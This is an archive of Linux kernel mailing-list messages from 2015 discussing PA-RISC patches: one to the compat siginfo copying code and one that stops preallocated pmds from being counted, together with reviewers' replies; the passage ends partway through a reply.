X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Mar 2015 17:13:58 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Bamvor Jian Zhang <bamvor.zhangjian@huawei.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 17 18:13:44 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YXv3o-0004JY-4H
	for glpp-linux-parisc@plane.gmane.org; Tue, 17 Mar 2015 18:13:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754006AbbCQRNn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Mar 2015 13:13:43 -0400
Original-Received: from foss.arm.com ([217.140.101.70]:59640 "EHLO foss.arm.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753487AbbCQRNm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Mar 2015 13:13:42 -0400
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
	by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id EE79E2A;
	Tue, 17 Mar 2015 10:13:52 -0700 (PDT)
Original-Received: from e104818-lin.cambridge.arm.com (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
	by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id CEBA43F44F;
	Tue, 17 Mar 2015 10:13:40 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20150315200041.GA10927@ls3530.box>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25665
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25665>

On Sun, Mar 15, 2015 at 08:00:41PM +0000, Helge Deller wrote:
> This patch is basically the same as commit 9d42d48 from Catalin Marinas
> but adopted to the parisc architecture.
> 
> The native (64-bit) sigval_t union contains sival_int (32-bit) and sival_ptr
> (64-bit). When a compat application invokes a syscall that takes a sigval_t
> value (as part of a larger structure, e.g.  compat_sys_mq_notify,
> compat_sys_timer_create), the compat_sigval_t union is converted to the native
> sigval_t with sival_int overlapping with either the least or the most
> significant half of sival_ptr, depending on endianness. When the corresponding
> signal is delivered to a compat application, on big endian the current
> (compat_uptr_t)sival_ptr cast always returns 0 since sival_int corresponds to
> the top part of sival_ptr. This patch fixes copy_siginfo_to_user32() so that
> sival_int is copied to the compat_siginfo_t structure.

Se below, I don't think this patch is needed.

> diff --git a/arch/parisc/kernel/signal32.c b/arch/parisc/kernel/signal32.c
> index 984abbe..d1f1fcd 100644
> --- a/arch/parisc/kernel/signal32.c
> +++ b/arch/parisc/kernel/signal32.c
> @@ -322,7 +322,6 @@ int
>  copy_siginfo_to_user32 (compat_siginfo_t __user *to, const siginfo_t *from)
>  {
>  	compat_uptr_t addr;
> -	compat_int_t val;
>  	int err;
>  
>  	if (!access_ok(VERIFY_WRITE, to, sizeof(compat_siginfo_t)))
> @@ -361,15 +360,13 @@ copy_siginfo_to_user32 (compat_siginfo_t __user *to, const siginfo_t *from)
>  		case __SI_TIMER >> 16:
>  			err |= __put_user(from->si_tid, &to->si_tid);
>  			err |= __put_user(from->si_overrun, &to->si_overrun);
> -			val = (compat_int_t)from->si_int;
> -			err |= __put_user(val, &to->si_int);
> +			err |= __put_user(from->si_int, &to->si_int);

Is there any actual change here? The native si_int is 32-bit already,
same as compat_int_t. I didn't think parisc needed fixing (only if it
was using si_ptr which is 64-bit on a 64-bit architecture).

>  			break;
>  		case __SI_RT >> 16:	/* Not generated by the kernel as of now.  */
>  		case __SI_MESGQ >> 16:
>  			err |= __put_user(from->si_uid, &to->si_uid);
>  			err |= __put_user(from->si_pid, &to->si_pid);
> -			val = (compat_int_t)from->si_int;
> -			err |= __put_user(val, &to->si_int);
> +			err |= __put_user(from->si_int, &to->si_int);

Same here.

-- 
Catalin
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm
Subject: [PATCH] mm: don't count preallocated pmds
Date: Wed, 18 Mar 2015 11:16:42 -0400 (EDT)
Lines: 78
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1503181057340.14516@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1426691825 4375 80.91.229.3 (18 Mar 2015 15:17:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Mar 2015 15:17:05 +0000 (UTC)
Cc: jejb@parisc-linux.org, dave.anglin@bell.net
To: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-mm@kvack.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 18 16:17:00 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YYFiL-0003dC-D7
	for glpp-linux-parisc@plane.gmane.org; Wed, 18 Mar 2015 16:16:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753113AbbCRPQ4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Mar 2015 11:16:56 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:46266 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750896AbbCRPQ4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Mar 2015 11:16:56 -0400
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id t2IFGjIh024028
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
	Wed, 18 Mar 2015 11:16:45 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t2IFGhBM003999
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Wed, 18 Mar 2015 11:16:44 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id t2IFGhaE030139;
	Wed, 18 Mar 2015 11:16:43 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id t2IFGguU030135;
	Wed, 18 Mar 2015 11:16:43 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25666 gmane.linux.kernel.mm:130036
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25666>

Hi

Here I'm sending a patch that fixes numerous "BUG: non-zero nr_pmds on 
freeing mm: -1" errors on 64-bit PA-RISC kernel.

I think the patch posted here 
http://www.spinics.net/lists/linux-parisc/msg05981.html is incorrect, it 
wouldn't work if the affected address range is freed and allocated 
multiple times.
	- 1. alloc pgd with built-in pmd, the count of pmds is 1
	- 2. free the range covered by the built-in pmd, the count of pmds 
		is 0, but the built-in pmd is still present
	- 3. alloc some memory in the range affected by the built-in pmd, 
		the count of pmds is still 0
	- 4. free the range covered by the built-in pmd, the counter 
		underflows to -1

Mikulas


From: Mikulas Patocka <mpatocka@redhat.com>

The patch dc6c9a35b66b520cf67e05d8ca60ebecad3b0479 that counts pmds 
allocated for a process introduced a bug on 64-bit PA-RISC kernels. There 
are many "BUG: non-zero nr_pmds on freeing mm: -1" messages.

The PA-RISC architecture preallocates one pmd with each pgd. This
preallocated pmd can never be freed - pmd_free does nothing when it is
called with this pmd. When the kernel attempts to free this preallocated
pmd, it decreases the count of allocated pmds. The result is that the
counter underflows and this error is reported.

This patch fixes the bug by introducing a macro pmd_preallocated and
making sure that the counter is not decremented when this preallocated pmd
is freed.

Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

---
 arch/parisc/include/asm/pgalloc.h |    2 ++
 mm/memory.c                       |    5 ++++-
 2 files changed, 6 insertions(+), 1 deletion(-)

Index: linux-4.0-rc4/arch/parisc/include/asm/pgalloc.h
===================================================================
--- linux-4.0-rc4.orig/arch/parisc/include/asm/pgalloc.h	2015-03-18 15:31:10.000000000 +0100
+++ linux-4.0-rc4/arch/parisc/include/asm/pgalloc.h	2015-03-18 15:33:20.000000000 +0100
@@ -81,6 +81,8 @@ static inline void pmd_free(struct mm_st
 	free_pages((unsigned long)pmd, PMD_ORDER);
 }
 
+#define pmd_preallocated(pmd)	(pmd_flag(*(pmd)) & PxD_FLAG_ATTACHED)
+
 #else
 
 /* Two Level Page Table Support for pmd's */
Index: linux-4.0-rc4/mm/memory.c
===================================================================
--- linux-4.0-rc4.orig/mm/memory.c	2015-03-18 15:30:42.000000000 +0100
+++ linux-4.0-rc4/mm/memory.c	2015-03-18 15:32:33.000000000 +0100
@@ -427,8 +427,11 @@ static inline void free_pmd_range(struct
 
 	pmd = pmd_offset(pud, start);
 	pud_clear(pud);
+#ifdef pmd_preallocated
+	if (!pmd_preallocated(pmd))
+#endif
+		mm_dec_nr_pmds(tlb->mm);
 	pmd_free_tlb(tlb, pmd, start);
-	mm_dec_nr_pmds(tlb->mm);
 }
 
 static inline void free_pud_range(struct mmu_gather *tlb, pgd_t *pgd,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: [PATCH] mm: don't count preallocated pmds
Date: Wed, 18 Mar 2015 18:12:46 +0200
Lines: 100
Approved: news@gmane.org
Message-ID: <20150318161246.GA5822@node.dhcp.inet.fi>
References: <alpine.LRH.2.02.1503181057340.14516@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426695186 32571 80.91.229.3 (18 Mar 2015 16:13:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Mar 2015 16:13:06 +0000 (UTC)
Cc: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-mm@kvack.org, linux-parisc@vger.kernel.org,
	jejb@parisc-linux.org, dave.anglin@bell.net
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: owner-linux-mm@kvack.org Wed Mar 18 17:12:56 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YYGaU-0008Q9-4N
	for glkm-linux-mm-2@m.gmane.org; Wed, 18 Mar 2015 17:12:54 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 05A956B0038; Wed, 18 Mar 2015 12:12:53 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id F26716B006C; Wed, 18 Mar 2015 12:12:52 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id DEEDC6B006E; Wed, 18 Mar 2015 12:12:52 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wi0-f173.google.com (mail-wi0-f173.google.com [209.85.212.173])
	by kanga.kvack.org (Postfix) with ESMTP id 83ED86B0038
	for <linux-mm@kvack.org>; Wed, 18 Mar 2015 12:12:52 -0400 (EDT)
Original-Received: by wibg7 with SMTP id g7so94513979wib.1
        for <linux-mm@kvack.org>; Wed, 18 Mar 2015 09:12:52 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=zxhv2Q3DZnwIzMIk7lTPeyOOJa1FFP4xnXT7AvY+SDY=;
        b=OcFg2Iyc/jH+A5jgM3X34iIUfuHR9TkffoD1GGSoO2ZdEc9UvKcYq2lIHro8cdMTWV
         iO25xXSSlpA49NEDH9myO0M+idMOvY1cZgX7Zir7nbAkj+sgbR7L6Wwus7+fXzTX4qfR
         xPxXEujTgy6txeDCOVj4fGRu2ItzGTB8iTrCoS3YQUOwetwtQNG77c4OPuSpDpA2xGtl
         7f8rxQyxo4D8UMKgcIgYP4sX1nKD0plDlVnMgxQocvb4qBL1NlEbDOxBdI1DJj8u0zL3
         MbhaiXzPon/a4TvikH1arD+y4PL3tZUwmoAap7a8o2DO0m2TE2kr2AFOfMZDTfLzPZ+d
         6MFA==
X-Gm-Message-State: ALoCoQkTIm8L2tM9syIeF9/Iaf2o+ThjXX2+E7FwBmkWaItNMs/ZZL3WxVjMBL3u+BG5DoNh+iS32A9MIibYgqgqOrUjm0i11GLUFZXejw/b3Fqs2++GnpwR90E3XtnsmX+8yEnr8Pj6O/+FDtwri/6SsFD+5iFOQPDC/E8EHSkIBrxSYVGbpeDqM4IkONlBNLe5W/rIpPLY
X-Received: by 10.180.78.202 with SMTP id d10mr8144129wix.25.1426695172209;
        Wed, 18 Mar 2015 09:12:52 -0700 (PDT)
X-Received: by 10.180.78.202 with SMTP id d10mr8143997wix.25.1426695171221;
        Wed, 18 Mar 2015 09:12:51 -0700 (PDT)
Original-Received: from jenni2.inet.fi (mta-out1.inet.fi. [62.71.2.195])
        by mx.google.com with ESMTP id vu5si29695208wjc.94.2015.03.18.09.12.50
        for <linux-mm@kvack.org>;
        Wed, 18 Mar 2015 09:12:51 -0700 (PDT)
Received-SPF: neutral (google.com: 62.71.2.195 is neither permitted nor denied by domain of kas@node.shutemov.name) client-ip=62.71.2.195;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 62.71.2.195 is neither permitted nor denied by domain of kas@node.shutemov.name) smtp.mail=kas@node.shutemov.name;
       dkim=pass header.i=@shutemov.name
Original-Received: from node.shutemov.name (80.220.224.16) by jenni2.inet.fi (8.5.142.08)
        id 54E3C7070389B603; Wed, 18 Mar 2015 18:12:48 +0200
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id 47A3341393; Wed, 18 Mar 2015 18:12:46 +0200 (EET)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=shutemov.name;
	s=default; t=1426695166;
	bh=D6ZJ5r3lYF0BggUgv3AYbESpfdEJziKwwteOMLgeFRQ=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=DIv5ichBZXK/YvGgXJvuh/pu45QwF7Qq6Oy532OHiiJMSrR4cBfShe1yknab3fOGt
	 rm3cQdGOD7vYqVtVoRPdqsvTsIoHitjneanQblDhdM62JycHGyu/EFsvUZHXmzs1t6
	 6cBQuroyxFVHztQj4eI/9ZZd+IAQ6mwGPbRMqQvE=
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1503181057340.14516@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:130045 gmane.linux.ports.parisc:25667
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/130045>

On Wed, Mar 18, 2015 at 11:16:42AM -0400, Mikulas Patocka wrote:
> Hi
> 
> Here I'm sending a patch that fixes numerous "BUG: non-zero nr_pmds on 
> freeing mm: -1" errors on 64-bit PA-RISC kernel.
> 
> I think the patch posted here 
> http://www.spinics.net/lists/linux-parisc/msg05981.html is incorrect, it 
> wouldn't work if the affected address range is freed and allocated 
> multiple times.
> 	- 1. alloc pgd with built-in pmd, the count of pmds is 1
> 	- 2. free the range covered by the built-in pmd, the count of pmds 
> 		is 0, but the built-in pmd is still present

Hm. Okay. I didn't realize you have special case in pmd_clear() for these
pmds.

What about adding mm_inc_nr_pmds() in pmd_clear() for PxD_FLAG_ATTACHED
to compensate mm_dec_nr_pmds() in free_pmd_range()?

I don't like pmd_preallocated() in generic code. It's too specific to
parisc.

> 	- 3. alloc some memory in the range affected by the built-in pmd, 
> 		the count of pmds is still 0
> 	- 4. free the range covered by the built-in pmd, the counter 
> 		underflows to -1
> 
> Mikulas
> 
> 
> From: Mikulas Patocka <mpatocka@redhat.com>
> 
> The patch dc6c9a35b66b520cf67e05d8ca60ebecad3b0479 that counts pmds 
> allocated for a process introduced a bug on 64-bit PA-RISC kernels. There 
> are many "BUG: non-zero nr_pmds on freeing mm: -1" messages.
> 
> The PA-RISC architecture preallocates one pmd with each pgd. This
> preallocated pmd can never be freed - pmd_free does nothing when it is
> called with this pmd. When the kernel attempts to free this preallocated
> pmd, it decreases the count of allocated pmds. The result is that the
> counter underflows and this error is reported.
> 
> This patch fixes the bug by introducing a macro pmd_preallocated and
> making sure that the counter is not decremented when this preallocated pmd
> is freed.
> 
> Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
> 
> ---
>  arch/parisc/include/asm/pgalloc.h |    2 ++
>  mm/memory.c                       |    5 ++++-
>  2 files changed, 6 insertions(+), 1 deletion(-)
> 
> Index: linux-4.0-rc4/arch/parisc/include/asm/pgalloc.h
> ===================================================================
> --- linux-4.0-rc4.orig/arch/parisc/include/asm/pgalloc.h	2015-03-18 15:31:10.000000000 +0100
> +++ linux-4.0-rc4/arch/parisc/include/asm/pgalloc.h	2015-03-18 15:33:20.000000000 +0100
> @@ -81,6 +81,8 @@ static inline void pmd_free(struct mm_st
>  	free_pages((unsigned long)pmd, PMD_ORDER);
>  }
>  
> +#define pmd_preallocated(pmd)	(pmd_flag(*(pmd)) & PxD_FLAG_ATTACHED)
> +
>  #else
>  
>  /* Two Level Page Table Support for pmd's */
> Index: linux-4.0-rc4/mm/memory.c
> ===================================================================
> --- linux-4.0-rc4.orig/mm/memory.c	2015-03-18 15:30:42.000000000 +0100
> +++ linux-4.0-rc4/mm/memory.c	2015-03-18 15:32:33.000000000 +0100
> @@ -427,8 +427,11 @@ static inline void free_pmd_range(struct
>  
>  	pmd = pmd_offset(pud, start);
>  	pud_clear(pud);
> +#ifdef pmd_preallocated
> +	if (!pmd_preallocated(pmd))
> +#endif
> +		mm_dec_nr_pmds(tlb->mm);
>  	pmd_free_tlb(tlb, pmd, start);
> -	mm_dec_nr_pmds(tlb->mm);
>  }
>  
>  static inline void free_pud_range(struct mmu_gather *tlb, pgd_t *pgd,
> 
> --
> To unsubscribe, send a message with 'unsubscribe linux-mm' in
> the body to majordomo@kvack.org.  For more info on Linux MM,
> see: http://www.linux-mm.org/ .
> Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>

-- 
 Kirill A. Shutemov

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: [PATCH] mm: don't count preallocated pmds
Date: Wed, 18 Mar 2015 12:25:11 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1503181219001.6223@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1503181057340.14516@file01.intranet.prod.int.rdu2.redhat.com> <20150318161246.GA5822@node.dhcp.inet.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1426695932 13881 80.91.229.3 (18 Mar 2015 16:25:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Mar 2015 16:25:32 +0000 (UTC)
Cc: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>, linux-mm@kvack.org,
        linux-parisc@vger.kernel.org, jejb@parisc-linux.org,
        dave.anglin@bell.net
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: owner-linux-mm@kvack.org Wed Mar 18 17:25:22 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YYGmW-0006oS-H7
	for glkm-linux-mm-2@m.gmane.org; Wed, 18 Mar 2015 17:25:20 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 16D5A6B0070; Wed, 18 Mar 2015 12:25:19 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 11E076B0071; Wed, 18 Mar 2015 12:25:19 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 0327B6B0072; Wed, 18 Mar 2015 12:25:18 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f50.google.com (mail-qg0-f50.google.com [209.85.192.50])
	by kanga.kvack.org (Postfix) with ESMTP id D14A56B0070
	for <linux-mm@kvack.org>; Wed, 18 Mar 2015 12:25:18 -0400 (EDT)
Original-Received: by qgfa8 with SMTP id a8so41520760qgf.0
        for <linux-mm@kvack.org>; Wed, 18 Mar 2015 09:25:18 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:in-reply-to:message-id:references:user-agent
         :mime-version:content-type;
        bh=To893EeTmQlB6EK1oONcOrUd8UKUXgMj25x7LsWmIsU=;
        b=NlEurDQGvrMRrLbKVJzJLdwMwu1FeQRhRUa19yT60PtL2uncy73XOuceZxnPbNyiUu
         AAoOqnBFwTSGfFJAO9USljki+lEuyjIj5NtrsKdFWkdKQ+jH2nv3t6UiUm7vNt4AYWGU
         FNg9e/O9rVOOq0QrXj7Ct+gE4cRPhDzhs/mKw1JALtC05aN7XMyKV9cKpNAZ3C4kQSgo
         JFZqJhKXfb4M4r8dp3rFWXsjKlMi9gvsq6+KRVmWevHXRpGbLU7xRj0ZsW6tT+fAL42Y
         MGkBvsK7DwokvkIAKnmWlLsEGcOLQfMdmUW7ZfG3MgPYg87ZyumYCwdhqRhPGV1qxi5H
         w8rA==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of mpatocka@redhat.com designates 209.132.183.28 as permitted sender) smtp.mail=mpatocka@redhat.com
X-Gm-Message-State: ALoCoQl9V0UX5gM/umTZRUmDVRpYqkWspcXLYh1GbKNKdVkRidDvKpI74cT+QlbkNbVW6Xc1KQX8brP2SD/qQBtiYuE5KU7kNak5WnNeeX3opXD5GnJqaxXUgcUPkBaELSlAFPb838G88eqPI9Dwxe9d8e6zdbOUKjqII7rY4/Q61ZVyzZpJ1MB6rR8QEHysHHw270WgEok9
X-Received: by 10.55.23.26 with SMTP id i26mr103448360qkh.16.1426695918705;
        Wed, 18 Mar 2015 09:25:18 -0700 (PDT)
X-Received: by 10.55.23.26 with SMTP id i26mr103448300qkh.16.1426695918309;
        Wed, 18 Mar 2015 09:25:18 -0700 (PDT)
Original-Received: from mx1.redhat.com (mx1.redhat.com. [209.132.183.28])
        by mx.google.com with ESMTPS id y60si17050608qgd.68.2015.03.18.09.25.17
        for <linux-mm@kvack.org>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 18 Mar 2015 09:25:18 -0700 (PDT)
Received-SPF: pass (google.com: domain of mpatocka@redhat.com designates 209.132.183.28 as permitted sender) client-ip=209.132.183.28;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of mpatocka@redhat.com designates 209.132.183.28 as permitted sender) smtp.mail=mpatocka@redhat.com
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id t2IGPFpJ009128
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
	Wed, 18 Mar 2015 12:25:16 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t2IGPENJ020805
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Wed, 18 Mar 2015 12:25:15 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id t2IGPEHs011436;
	Wed, 18 Mar 2015 12:25:14 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id t2IGPBag011237;
	Wed, 18 Mar 2015 12:25:13 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20150318161246.GA5822@node.dhcp.inet.fi>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:130048 gmane.linux.ports.parisc:25668
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/130048>



On Wed, 18 Mar 2015, Kirill A. Shutemov wrote:

> On Wed, Mar 18, 2015 at 11:16:42AM -0400, Mikulas Patocka wrote:
> > Hi
> > 
> > Here I'm sending a patch that fixes numerous "BUG: non-zero nr_pmds on 
> > freeing mm: -1" errors on 64-bit PA-RISC kernel.
> > 
> > I think the patch posted here 
> > http://www.spinics.net/lists/linux-parisc/msg05981.html is incorrect, it 
> > wouldn't work if the affected address range is freed and allocated 
> > multiple times.
> > 	- 1. alloc pgd with built-in pmd, the count of pmds is 1
> > 	- 2. free the range covered by the built-in pmd, the count of pmds 
> > 		is 0, but the built-in pmd is still present
> 
> Hm. Okay. I didn't realize you have special case in pmd_clear() for these
> pmds.
> 
> What about adding mm_inc_nr_pmds() in pmd_clear() for PxD_FLAG_ATTACHED
> to compensate mm_dec_nr_pmds() in free_pmd_range()?

pmd_clear clears one entry in the pmd, it wouldn't work. You need to add 
it to pgd_clear. That clears the pointer to the pmd (and does nothing if 
it is asked to clear the pointer to the preallocated pmd). But pgd_clear 
doesn't receive the pointer to mm.

> I don't like pmd_preallocated() in generic code. It's too specific to
> parisc.

